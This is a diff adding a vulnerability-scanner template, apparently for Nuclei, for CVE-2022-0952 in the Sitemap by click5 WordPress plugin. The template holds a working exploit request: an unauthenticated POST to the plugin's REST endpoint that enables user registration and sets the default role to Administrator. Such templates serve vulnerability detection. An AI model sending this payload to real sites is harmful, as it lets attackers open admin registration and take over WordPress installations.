Create CVE-2022-0952.yaml

cves/2022/CVE-2022-0952.yaml

@@ -0,0 +1,41 @@
+id: CVE-2022-0952
+
+info:
+  name: Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update
+  author: random-robbie
+  severity: critical
+  description: The plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin
+  reference: https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
+  tags: CVE-2022-0952,wordpress
+
+requests:
+- raw:
+  - |-
+    POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
+    Host: {{Hostname}}
+    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
+    Accept: */*
+    Accept-Language: en-US,en;q=0.5
+    Accept-Encoding: gzip, deflate
+    Referer: {{BaseURL}}/wp-admin/admin.php?page=sitemap-by-click5%2Fsitemap-by-click5.php
+    Content-type: application/json;charset=UTF-8
+    Content-Length: 59
+    Origin: {{BaseURL}}
+    Connection: close
+
+    {"users_can_register":"1","default_role":"Administrator"}
+
+  matchers-condition: and
+  matchers:
+  - type: word
+    part: body
+    words:
+    - 'users_can_register'
+    - 'default_role'
+  - type: word
+    part: header
+    words:
+    - 'application/json'
+  - type: status
+    status:
+    - 200